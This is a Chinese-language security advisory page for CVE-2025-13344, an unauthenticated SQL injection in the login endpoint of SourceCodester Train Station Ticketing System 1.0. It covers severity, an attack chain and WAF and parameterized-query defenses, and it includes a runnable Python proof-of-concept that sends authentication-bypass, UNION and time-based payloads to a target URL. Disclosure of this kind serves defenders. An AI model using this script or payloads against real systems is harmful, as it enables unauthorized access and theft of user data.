IPBUF安全漏洞报告
English
CVE-2025-13344 CVSS 7.3 高危

CVE-2025-13344: SourceCodester火车票务系统1.0登录接口SQL注入漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-13344
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Train Station Ticketing System 1.0

相关标签

SQL注入CVE-2025-13344SourceCodester火车票务系统认证绕过高危漏洞网络攻击无需认证

漏洞概述

CVE-2025-13344是SourceCodester火车票务系统1.0版本中的一个高危安全漏洞。该漏洞存在于系统的登录功能模块中,具体位于ajax.php文件的login动作处理逻辑。通过构造恶意的Username参数,攻击者可以在SQL查询中注入任意SQL代码,从而绕过身份验证或获取数据库中的敏感信息。该漏洞无需任何认证即可利用,攻击复杂度低,影响范围广。由于该漏洞的利用代码已公开,攻击者可以轻松获取系统的访问权限,进而可能导致用户数据泄露、数据库被篡改等严重后果。建议受影响的用户尽快采取防护措施或升级到安全版本。

技术细节

该SQL注入漏洞存在于SourceCodester Train Station Ticketing System 1.0的ajax.php文件中,具体在处理action=login参数时,对Username参数的用户输入未进行充分的输入验证和SQL语句预编译处理。攻击者可以通过在Username参数中注入SQL payloads,如使用单引号(')闭合原查询语句,并添加UNION SELECT、布尔盲注或时间盲注等技术来获取数据库信息。由于该接口直接暴露在网络上且无需任何认证,攻击者可以远程发起攻击。成功利用此漏洞后,攻击者可以绕过登录验证获取管理员权限,读取数据库中的用户凭证、订单信息、个人数据等敏感内容,甚至在某些配置下可实现操作系统命令执行。建议开发者使用参数化查询或ORM框架来防止SQL注入攻击。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标站点使用的SourceCodester火车票务系统版本为1.0,并定位到ajax.php登录接口
STEP 2
步骤2: 构造恶意Payload
攻击者在Username参数中构造SQL注入载荷,如使用单引号闭合语句或UNION查询
STEP 3
步骤3: 发送攻击请求
通过HTTP POST请求将恶意Payload发送至/ajax.php?action=login端点
STEP 4
步骤4: 绕过认证或提取数据
成功注入后,攻击者绕过登录验证获取管理员权限或提取数据库中的用户敏感信息
STEP 5
步骤5: 持久化控制
攻击者可能创建后门账户或进一步利用获取的数据进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13344 SQL Injection PoC # Target: SourceCodester Train Station Ticketing System 1.0 # Endpoint: /ajax.php?action=login # Parameter: Username def exploit_sqli(target_url, payload): """ Exploit SQL injection in login form """ endpoint = f"{target_url}/ajax.php?action=login" # Basic authentication bypass payload data = { 'Username': payload, 'Password': 'anything' } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13344.py <target_url>") print("Example: python cve-2025-13344.py http://target.com") sys.exit(1) target = sys.argv[1] # Test payloads payloads = [ "admin' OR '1'='1", # Basic bypass "' OR 1=1 --", # Comment based bypass "admin' UNION SELECT 1,2,3 --", # Union based "' OR SLEEP(5) --" # Time-based blind ] print(f"[*] Testing CVE-2025-13344 on {target}") for payload in payloads: print(f"\n[+] Testing payload: {payload}") result = exploit_sqli(target, payload) print(f"Response: {result[:200]}")

影响范围

SourceCodester Train Station Ticketing System 1.0

防御指南

临时缓解措施
立即在Web应用防火墙中添加针对SQL注入攻击的防护规则,对ajax.php?action=login接口的Username参数进行过滤,拦截包含单引号、UNION、SELECT等SQL关键字的请求。同时限制该接口的访问频率,防止自动化攻击。在应用层代码修复前,可暂时禁用该登录接口或启用备用认证方式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表